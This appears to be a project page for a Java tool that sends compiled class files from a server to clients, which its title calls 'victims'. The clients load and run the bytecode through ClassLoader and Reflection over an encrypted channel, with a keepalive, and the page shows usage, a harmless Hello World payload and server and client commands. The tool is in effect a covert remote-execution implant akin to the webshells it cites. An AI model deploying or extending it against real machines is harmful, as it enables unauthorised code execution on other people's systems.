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Java-Remote-Class-Loader - Tool to send Java bytecode to your victims to load and execute using Java ClassLoader together with Reflect API


This tool allows you to send Java bytecode in the form of class files to your clients (or potential targets) to load and execute using Java ClassLoader together with Reflect API. The client receives the class file from the server and return the respective execution output. Payloads must be written in Java and compiled before starting the server.


Features

  • Client-server architecture
  • Remote loading of Java class files
  • In-transit encryption using ChaCha20 cipher
  • Settings defined via args
  • Keepalive mechanism to re-establish communication if server restarts

Installation

Tool has been tested using OpenJDK 11 with JRE Java Package, both on Windows and Linux (zip portable version). Java version should be 11 or higher due to dependencies.

https://www.openlogic.com/openjdk-downloads

Usage

$ java -jar java-class-loader.jar -helpusage: Main -address <arg>       address to connect (client) / to bind (server) -classfile <arg>     filename of bytecode .class file to load remotely                      (default: Payload.class) -classmethod <arg>   name of method to invoke (default: exec) -classname <arg>     name of class (default: Payload) -client              run as client -help                print this message -keepalive           keeps the client getting classfile from server every                      X seconds (default: 3 seconds) -key <arg>           secret key - 256 bits in base64 format (if not                      specified it will generate a new one) -port <arg>          port to connect (client) / to bind (server) -server              run as server

Example

Assuming you have the following Hello World payload in the Payload.java file:

//Payload.javapublic class Payload {    public static String exec() {        String output = "";        try {            output = "Hello world from client!";        } catch (Exception e) {            e.printStackTrace();        }        return output;    }}

Then you should compile and produce the respective Payload.class file.

To run the server process listening on port 1337 on all net interfaces:

$ java -jar java-class-loader.jar -server -address 0.0.0.0 -port 1337 -classfile Payload.classRunning as serverServer running on 0.0.0.0:1337Generated new key: TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

On the client side, you may use the same JAR package with the -client flag and use the symmetric key generated by server. Specify the server IP address and port to connect to. You may also change the class name and class method (defaults are Payload and String exec() respectively). Additionally, you can specify -keepalive to keep the client requesting class file from server while maintaining the connection.

$ java -jar java-class-loader.jar -client -address 192.168.1.73 -port 1337 -key TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=Running as clientConnecting to 192.168.1.73:1337Received 593 bytes from serverOutput from invoked class method: Hello world from client!Sent 24 bytes to server

References

Refer to https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/ for a blog post related with the development of this tool.

  1. https://github.com/rebeyond/Behinder

  2. https://github.com/AntSwordProject/antSword

  3. https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/

  4. https://www.sangfor.com/blog/cybersecurity/behinder-v30-analysis

  5. https://xz.aliyun.com/t/2799

  6. https://medium.com/@m01e/jsp-webshell-cookbook-part-1-6836844ceee7

  7. https://venishjoe.net/post/dynamically-load-compiled-java-class/

  8. https://users.cs.jmu.edu/bernstdh/web/common/lectures/slides_class-loaders_remote.php

  9. https://www.javainterviewpoint.com/chacha20-poly1305-encryption-and-decryption/

  10. https://openjdk.org/jeps/329

  11. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ClassLoader.html

  12. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/reflect/Method.html



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